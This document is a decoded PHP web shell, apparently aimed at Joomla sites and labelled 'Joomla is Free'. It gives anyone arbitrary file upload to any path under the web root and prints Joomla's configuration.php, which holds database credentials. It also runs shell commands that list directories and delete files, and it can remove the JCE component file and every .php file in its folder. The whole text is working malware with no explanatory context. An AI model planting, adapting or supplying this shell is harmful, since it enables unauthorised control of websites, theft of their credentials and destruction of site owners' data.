PHP Decode

error_reporting(0);
echo "<title>+[ Joomla is Free ]+</title>";
$os = php_uname();
echo "<center> Info-Kang:".$os." </center>";
if (!empty($_FILES)) {
	$tempFile = $_FILES['Fileupload']['tmp_name'];
	$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['kemana'] . '/';
	$targetFile =  str_replace('//','/',$targetPath) . $_FILES['Fileupload']['name'];
		move_uploaded_file($tempFile,$targetFile);
		echo "1";
}
if(isset($_GET['read'])){
$conf = file_get_contents("../../configuration.php");
echo $conf;
}
echo "<pre><font size=3 color=#000000>".shell_exec('echo KcB#`pwd`#KcB; ls -lia; rm -f *.gif')."</font></pre>";
if(isset($_GET['patch'])){
$deljce = '../../components/com_jce/jce.php';
unlink($deljce);
}
if(isset($_GET['del'])){
$mask = "*.php";
array_map( "unlink", glob( $mask ) );
echo "<pre><font size=3 color=#000000>".shell_exec('rm -f *.php')."</font></pre>";
}